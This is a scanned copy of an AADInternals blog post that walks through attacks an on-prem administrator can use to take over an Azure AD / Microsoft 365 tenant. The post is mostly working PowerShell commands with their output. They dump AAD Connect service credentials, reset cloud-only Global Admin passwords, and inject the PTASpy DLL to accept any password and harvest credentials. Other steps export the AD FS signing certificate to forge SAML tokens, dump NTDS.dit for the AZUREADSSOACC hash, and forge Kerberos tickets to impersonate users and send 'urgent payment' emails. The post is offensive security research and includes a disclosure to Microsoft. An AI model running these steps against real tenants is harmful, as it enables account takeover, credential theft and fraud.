aadinternals.com
Open in
urlscan Pro
185.199.109.153
Public Scan
Submitted URL: https://o365blog.com/post/on-prem_admin/
Effective URL: https://aadinternals.com/post/on-prem_admin/
Submission: On October 04 via api from DE — Scanned from NL
Effective URL: https://aadinternals.com/post/on-prem_admin/
Submission: On October 04 via api from DE — Scanned from NL
Form analysis
0 forms found in the DOMText Content
AADINTERNALS.COM THE ULTIMATE AZURE AD / MICROSOFT 365 HACKING AND ADMIN TOOLKIT Menu * AAD KILL CHAIN * DOCUMENTATION * LINKS * OSINT * TALKS * TOOLS UNNOTICED SIDEKICK: GETTING ACCESS TO CLOUD AS AN ON-PREM ADMIN July 13, 2020 (Last Modified: December 03, 2021) blog * * * Azure AD Connect * Introduction * Dumping Azure AD Connect credentials * Modifying users * Getting Global Admin rights * Pass-through Authentication * Introduction * Harvesting credentials and letting everyone in * Federation Services (AD FS) * Introduction * Exporting token signing certificate * Creating SAML tokens for synced users * Creating tokens for cloud-only users * Active Directory and Desktop SSO (Seamless SSO) * Introduction * Dumping the AZUREADSSOACC password * Creating Kerberos tickets for synced users * Creating Kerberos tickets for cloud-only users * References This post is part 5⁄5 of Azure AD and Microsoft 365 kill chain blog series. Although on-prem administrators doesn’t usually have admin rights to Azure AD, they can have access to crucial information, such as Azure AD Connect, ADFS, and Active Directory. Administrators of these services can easily get admin rights to Azure AD to manipulate and impersonate users. In this blog, using AADInternals v0.4.0, I’ll show how to get Global Admin access and how to impersonate users as an on-prem administrator. AZURE AD CONNECT INTRODUCTION Azure AD Connect(AAD Connect) is a tool for implementing hybrid identity. Typically, it is configured to do the following: * Synchronise users, groups, and devices from on-prem AD to Azure AD * Synchronise password hashes from on-prem AD to Azure AD When AAD Connect is configured, it creates service accounts to both Azure AD and local AD (see my blog post for more details). These service accounts and their passwords are stored in a configuration database, typically on the same server as the AAD Connect. The service account created in Azure AD is named as follows: Sync_<server>_<random string>@<tenant name>.onmicrosoft.com <server> refers to the name of server running the AAD Connect, <random string> to a 12 character random string, and <tenant name> to the name of Azure AD tenant. This account is given a Directory Synchronization Accounts role (see documentation). Obviously, this role has at least the following rights: * Reading, creating, modifying, and deleting users (and other objects) * Setting passwords However, if the user with Directory Synchronization Accounts role tries to create a user with MSOnline (or Azure AD) module, the following error is given: New-MsolUser : Access Denied. You do not have permissions to call this cmdlet. This indicates that the synchronisation is not using the provisioning API nor Azure AD Graph API. Instead, is using an API which I call simply a synchronisation API, which endpoint is https://adminwebservice.microsoftonline.com AADInternals have had support for synchronisation API since the early versions. The API (and corresponding AADInternals functions) allows you modify users and their passwords. DUMPING AZURE AD CONNECT CREDENTIALS Assuming that the AAD Connect is using a local configuration database, dumping the credentials is very straight-forward. Just install the AADInternals module and export the credentials: # Install AADInternals Install-Module AADInternals # Import AADInternals Import-Module AADInternals # Dump the AD Connect credentials Get-AADIntSyncCredentials Name Value ---- ----- ADDomain company.com ADUser MSOL_4bc4a34e95fa ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;... AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com AADUserPassword $.1%(lxZ&/kNZz[r MODIFYING USERS Now that we have credentials of AAD Connect, we can modify users and their passwords. First, we need to get an OAuth access token. # Save the credentials to a variable $creds=Get-Credential # Get an access token and save to cache Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache There are two ways to list users in AADInternals. First is using the synchronisation API, which can show all synced objects: # List the sync objects Get-AADIntSyncObjects | Select UserPrincipalName,SourceAnchor,CloudAnchor | Sort UserPrincipalName The output should be something similar to below. UserPrincipalName SourceAnchor CloudAnchor ----------------- ------------ ----------- AlexW@company.com UQ989+t6fEq9/0ogYtt1pA== User_e7919c57-20f5-4bda-93fc-fe310376bffa AllanD@company.com gvzoAfPVjkqwoMkFkb/wzA== User_92915102-6479-4655-9bd7-0803115eeaf5 DiegoS@company.com QNnPEfbbzUSumhgN663BIw== User_faa1111a-0138-4048-acf9-09ccc2fa3585 IsaiahL@company.com OEBmRzwk70aab9xZs8pYGA== User_3ec30644-7e8e-4415-bf20-8c355c39426c JoniS@company.local EgmFX7XbNUurSf2dAch3lQ== User_5585b427-0817-4a07-94dc-fdd82b7547b7 Note! The values, such as UserPrincipalName, are original values from on-prem AD, NOT from Azure AD. To demonstrate, let’s get the list of users using provisioning API: # List the Azure AD users Get-AADIntUsers | Select UserPrincipalName,ImmutableId,ObjectId | Sort UserPrincipalName The output should be something similar to below. From the output, we can see that SourceAnchor matches the ImmutableId, and CloudAnchor matches <ObjectType>_<ObjectId> The user JoniS@company.local from above has a different UserPrincipalName (JoniS@company.microsoft.com). This is because the user has an “illegal” domain part in AD. UserPrincipalName ImmutableId ObjectId ----------------- ----------- -------- admin@company.com cf618970-9541-4963-a0ca-9e43f01bf867 admin@company.onmicrosoft.com 7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59 AlexW@company.com UQ989+t6fEq9/0ogYtt1pA== e7919c57-20f5-4bda-93fc-fe310376bffa AllanD@company.com gvzoAfPVjkqwoMkFkb/wzA== 92915102-6479-4655-9bd7-0803115eeaf5 DiegoS@company.com QNnPEfbbzUSumhgN663BIw== faa1111a-0138-4048-acf9-09ccc2fa3585 IsaiahL@company.com OEBmRzwk70aab9xZs8pYGA== 3ec30644-7e8e-4415-bf20-8c355c39426c JoniS@company.onmicrosoft.com EgmFX7XbNUurSf2dAch3lQ== 5585b427-0817-4a07-94dc-fdd82b7547b7 Sync_SERVER_10923a482f0a@company.onmicrosoft.com e58a81ac-375e-4be5-946d-d3367535fdfc The ImmutableId is a Base64 encoded GUID of the user’s AD object. Therefore the users without ImmutableId are cloud-only users and are not shown when listing sync objects. As such, we can modify users with synchronisation API if we know their ImmutableId (SourceAnchor): # Change the DisplayName for AlexW@company.com Set-AADIntAzureADObject -SourceAnchor "UQ989+t6fEq9/0ogYtt1pA==" -displayName "I've been hacked!" CloudAnchor : User_e7919c57-20f5-4bda-93fc-fe310376bffa ErrorDetails : ErrorDetails ObjectType : User ResultCode : Success ResultErrorCode : 0 ResultErrorDescription : ResultErrorDescription SourceAnchor : UQ989+t6fEq9/0ogYtt1pA== SyncOperation : Add We can also reset user’s password. Because only the hash of the password is sent to Azure AD, password restrictions are not applied. This means that we can use as long passwords as we want to. A nice trick is also the possibility to set the password change date to anything we want to. # Change the password for AlexW@company.com Set-AADIntUserPassword -SourceAnchor "UQ989+t6fEq9/0ogYtt1pA==" -Password "NewPwd" -ChangeDate (Get-Date).AddYears(-1) If the Result is 0, the change was successful. CloudAnchor Result SourceAnchor ----------- ------ ------------ CloudAnchor 0 UQ989+t6fEq9/0ogYtt1pA== GETTING GLOBAL ADMIN RIGHTS First step when pursuing Global Admin rights is to list the current admins: # List the global admins Get-AADIntGlobalAdmins The output should something similar to below. DisplayName UserPrincipalName ----------- ----------------- Administrator admin@company.onmicrosoft.com Cloud Admin admin@company.com Joni Sherman JoniS@company.com Sometimes the Global Admin is a user which is synced from the on-prem AD (e.g. Joni Sherman above). If this is the case, the password can be changed in the similar way as in our previous example (provided that the domain is Managed, not Federated). But what if you want to reset the password of cloud-only administrator? At the end of May 2020 I discovered that the synchronisation API can be used to reset also cloud-only users’ passwords! The trick is to user CloudAnchor instead of SourceAnchor. So, using the previous examples, we can change the password for admin@company.onmicrosoft.com as we know the Azure AD ObjectId (7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59): # Change the password for admin@company.onmicrosoft.com Set-AADIntUserPassword -CloudAnchor "User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59" -Password "NewPwd" -ChangeDate (Get-Date).AddYears(-1) If the Result is 0, the change was successful and we can login as a Global Administrator! CloudAnchor Result SourceAnchor ----------- ------ ------------ User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59 0 SourceAnchor > Note! > > This is not an expected behaviour, as synchronisation should not have any > access to cloud-only users. > > Similar issue, where on-prem accounts could be synced and linked to existing > Azure AD users, was fixed in October 2018. Now only non-admin users can be > “linked”. > > I’ve reported this issue to Microsoft on May 29th and they are working on a > solution. Password reset works only if the Password Hash Synchronisation (PHS) is enabled. Luckily, AAD Connect service account can turn it on. The following command just sets the PHS switch in Azure AD, it doesn’t start the actual PHS sync. # Enable PHS Set-AADIntPasswordHashSyncEnabled -Enabled $true PASS-THROUGH AUTHENTICATION INTRODUCTION Azure Active Directory Pass-through Authentication (PTA) is an authentication method allowing users to sign in to on-premises and Azure AD/Office 365 using the same credentials. Technically it is a service “Microsoft Azure AD Connect Authentication Agent” running on a Windows server. If PTA is used, one agent is always installed on Azure AD Connect server. For high-availability, extra agents can be installed to other servers. For short, when users are signing in, their credentials are sent to the PTA Agent for verification. The agent tries to log in with the provided credentials and returns the result back to Azure AD. For more details, see my blog post. HARVESTING CREDENTIALS AND LETTING EVERYONE IN With the inspiration from this article, I implemented a PTASpy. What PTASpy installation does: * Creates a hidden folder C:\PTASpy * Copies a PTASpy.dll to C:\PTASpy * Injects PTASpy.dll to AzureADConnectAuthenticationAgentService process When installed, PTASpy: * Accepts all passwords * Saves all user names and passwords to C:\PTASpy\PTASpy To install PTASpy, run the following command on the computer running AAD Connect or stand-alone authentication agent. # Install PTASpy Install-AADIntPTASpy The installation asks you to confirm the installation. To continue, type YES and press enter. Are you sure you wan't to install PTASpy to this computer? Type YES to continue or CTRL+C to abort: If installation is successful, you should see the following: Installation successfully completed! All passwords are now accepted and credentials collected to C:\PTASpy\PTASpy.csv Note! If the installation fails, this is probably due to missing Microsoft Visual C++ 2015 Redistributables. Now whenever someone tries to log in, any password is accepted and saved to the log. As such, PTASpy can be used as a backdoor and credentials harvester. Now you can dump the passwords: # Dump the login credentials Get-AADIntPTASpyLog UserName Password Time -------- -------- ---- user1@company.com YQBzAGQAZgBkAHMAZgA= 03/04/2020 12.17.03 user2@company.com TQB5ACAAdgBlAHIAeQAgAHMAZQBjAHIAZQB0ACAAcABhAHMAcwB3AG8AcgBkAA== 16/07/2020 7.55.14 Passwords are Base64 encoded Unicode text. To show the decoded passwords: # Dump the login credentials Get-AADIntPTASpyLog -DecodePasswords UserName Password Time -------- -------- ---- user1@company.com asdfdsf 03/04/2020 12.17.03 user2@company.com My very secret password 16/07/2020 7.55.14 Note! When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed. FEDERATION SERVICES (AD FS) INTRODUCTION Azure AD and Microsoft 365 supports various authentication methods, of which Federated Identity is one. Typically the federation is implemented using Active Directory Federation Services (AD FS), which one of the roles of Windows Server operating systems. For short, identity federation is based on a trust between on-prem AD FS and Azure AD (see my blog post for details). During the authentication, AD FS creates a SAML token, which includes information about the user (UserPrincipalName and ImmutableId). The SAML token is signed with a token signing certificate using the private key known only by AD FS server. Token validity is checked using the public key of the token signing certificate known to both AD FS and Azure AD. As I explained in by blog post, Azure AD is using only ImmutableId for identifying the user. So, as long as the SAML token is properly signed and the corresponding ImmutableID is found from Azure AD, the user is logged in. In practice, if you have the token signing certificate, you can log in as any user of the tenant! EXPORTING TOKEN SIGNING CERTIFICATE Assuming that the AD FS is using a local configuration database, dumping the token signin certificate is very straight-forward. Just install the AADInternals module and export the certificate: # Install AADInternals Install-Module AADInternals # Import AADInternals Import-Module AADInternals # Export the AD FS token signing certificate Export-AADIntADFSSigningCertificate If no file name is given, the certificate is exported to the current directory as ADFSSigningCertificate.pfx with empty pfx password. Note! The certificate is renewed by default once a year. For persistent access, the certificate with longer (e.g. 10 yrs) validity period should be used. CREATING SAML TOKENS FOR SYNCED USERS Using the users from previous example, we can now create valid SAML tokens. First, if not known, you also need the AD FS identifier, which is typically a uri: # Get the issuer Get-AdfsProperties | Select Identifier Identifier ---------- http://sts.company.com/adfs/services/trust Now we have all the needed information and the SAML token can be created. By default, the token is valid for one hour. # Create a new SAML token $saml=New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" -PfxFileName ADFSSigningCertificate.pfx -PfxPassword "" -Issuer "http://sts.company.com/adfs/services/trust" With the SAML token, you can now get OAuth Access Token to be used with AADInternals functions. # Get an access token for Exchange Online $at=Get-AADIntAccessTokenForEXO -SAMLToken $saml # Send a message using "Outlook" Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap." You can also open the Office 365 Portal with the signing certificate. The following command creates a .html file in temp and opens it with Internet Explorer in Private mode. # Open the Office Portal Open-AADIntOffice365Portal -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" -PfxFileName ADFSSigningCertificate.pfx -PfxPassword "" -Issuer "http://sts.company.com/adfs/services/trust" CREATING TOKENS FOR CLOUD-ONLY USERS If the AD FS administrator have access to Azure AD Connect (which is quite typical), they can set ImmutableId for any cloud-user (SourceAnchor). This way SAML tokens can be created also for cloud-only users. And the funny part is, that the ImmutableId doesn’t have to be Base64 encoded GUID, it can be any string :smile: Setting ImmutableId for cloud-only users using the example from above: # Set the ImmutableId for admin@company.onmicrosoft.com Set-AADIntAzureADObject -CloudAnchor "User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59" -SourceAnchor "I've been hacked!" CloudAnchor : User_7b0ad665-a751-43d7-bb9a-7b8b1e6b1c59 ErrorDetails : ErrorDetails ObjectType : User ResultCode : Success ResultErrorCode : 0 ResultErrorDescription : ResultErrorDescription SourceAnchor : I've been hacked! SyncOperation : Add Now we can create SAML tokens using the SourceAnchor as ImmutableId: # Create a new SAML token $saml=New-AADIntSAMLToken -ImmutableID "I've been hacked!" -PfxFileName ADFSSigningCertificate.pfx -PfxPassword "" -Issuer "http://sts.company.com/adfs/services/trust" Tip! If you want to create proper looking ImmutableId, use the following command: # Create an ImmutableId [convert]::ToBase64String((New-Guid).ToByteArray()) yMsQmdfNEE+Y84RamHtZ7Q== ACTIVE DIRECTORY AND DESKTOP SSO (SEAMLESS SSO) INTRODUCTION Azure AD and Microsoft 365 supports various authentication methods, of which Desktop SSO is one. Together with Pass Through Authentication (PTA), Desktop SSO is currently recommended instead of AD FS by Microsoft. Desktop SSO is using Kerberos for authentication. When configured, Azure AD Connect creates a computer account called AZUREADSSOACC in on-prem AD. The password of the AZUREADSSOACC account is sent as plain-text to Azure AD during the configuration. The Kerberos tickets are encrypted using the NTHash (MD4) of the password and Azure AD is using the sent password to decrypt the tickets. Same way than in Identity Federation token signing certificates, if the password is known, you can create Kerberos tickets for any user of the tenant. DUMPING THE AZUREADSSOACC PASSWORD Because the Kerberos ticket is encrypted using the NTHash, we only need to know that hash! There are many ways for dumping the AD passwords, but I’m using the following method: * Dump the AD database using Ntdsutil * Extract the password hash using DSInternals To dump NTDS.dit and registry, use the following command in any DC: ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q Now the AD and registry are dumped to C:\temp and we can extract the password hash using DSInternals. # Install DSInternals (if not done yet) Install-Module DSInternals # Import DSInternals Import-Module DSInternals # Get the Boot key $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' # Get the password hash of AZUREADSSOACC (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hex Path: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 97 B7 45 CB ED 7B 9D D6 FE 6C 99 20 24 BC 38 F4 ·EËí{ Öþl $¼8ô From the output we can find the password hash of the AZUREADSSOACC: 97B745CBED7B9DD6FE6C992024BC38F4 CREATING KERBEROS TICKETS FOR SYNCED USERS Same way than in Identity Federation, where ImmutableId is used as an identifier, DesktopSSO uses on-prem AD Security Identifier (SID) as an identifier. So, to create valid Kerberos tickets, the SID of the user must be known. To list users’ SIDs from Azure AD, use the AzureAD module: # Connect to AzureAD (if not done yet) Connect-AzureAD # List users names and SIDs: Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier UserPrincipalName OnPremisesSecurityIdentifier ----------------- ---------------------------- admin@company.com admin@company.onmicrosoft.com AlexW@company.com S-1-5-21-854168551-3279074086-2022502410-1104 AllanD@company.com S-1-5-21-854168551-3279074086-2022502410-1105 DiegoS@company.com S-1-5-21-854168551-3279074086-2022502410-1106 IsaiahL@company.com S-1-5-21-854168551-3279074086-2022502410-1107 JoniS@company.com S-1-5-21-854168551-3279074086-2022502410-1108 Sync_SERVER_10923a482f0a@company.onmicrosoft.com Now we are able to create Kerberos ticket to AlexW: # Create a new Kerberos ticket $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "97B745CBED7B9DD6FE6C992024BC38F4" With the kerberos ticket, you can now get OAuth Access Token to be used with AADInternals functions. # Get an access token for Exchange Online $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com # Send a message using "Outlook" Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap." CREATING KERBEROS TICKETS FOR CLOUD-ONLY USERS If the Active Directory administrators have access to Azure AD Connect, they can set SID for any cloud-user. This way Kerberos tokens can be created also for cloud-only users. The only requirement is that the SID is a proper SID. > Note! Changing SID of cloud-only admin users is now blocked by Microsoft! Setting SID for cloud-only users: # Create a SID object. MUST be unique within the tenant. $objSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-0-0-0-0-1") # Create a byte array for the binary form of the SID $b64SID = [System.Byte[]]::CreateInstance([System.Byte],28) # Export binary SID to the variable $objSID.GetBinaryForm($b64SID,0) # Convert the binary SID to Base 64 string $strB64SID=[convert]::ToBase64String($b64SID) # Set the SID for the user Set-AADIntAzureADObject -CloudAnchor "User_d8e43f6f-d97c-4377-a547-ad1f51d5bbc7" -onPremiseSecurityIdentifier $strB64SID CloudAnchor : User_d8e43f6f-d97c-4377-a547-ad1f51d5bbc7 ErrorDetails : ErrorDetails ObjectType : User ResultCode : Success ResultErrorCode : 0 ResultErrorDescription : ResultErrorDescription SourceAnchor : abc SyncOperation : Add If successful, you can now create a Kerberos ticket for the user using the SID “S-1-5-0-0-0-0-1”. REFERENCES * Adam Chester: Azure AD Connect for Red Teamers * Michael Grafnetter: How Azure Active Directory Connect Syncs Passwords? * Michael Grafnetter: Dumping the contents of ntds.dit files using PowerShell * Microsoft: What is Azure AD Connect? * Microsoft: Administrator role permissions in Azure Active Directory * Microsoft: Choose the right authentication method for your Azure Active Directory hybrid identity solution * Sean Metcalf: How Attackers Dump Active Directory Database Credentials * Azure Active Directory * Azure * reconnaissance * security * on-prem * admin * * About Dr Nestori Syynimaa (@DrAzureAD) Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU™ (Counter Threat Unit). Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security. Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP (Enterprise Mobility, Identity and Access), and Microsoft Most Valuable Security Researcher (MVR). «Previous Keys of the kingdom: Playing God as Global Admin Next» Deep-dive to Azure AD MFA: Creating a custom authenticator app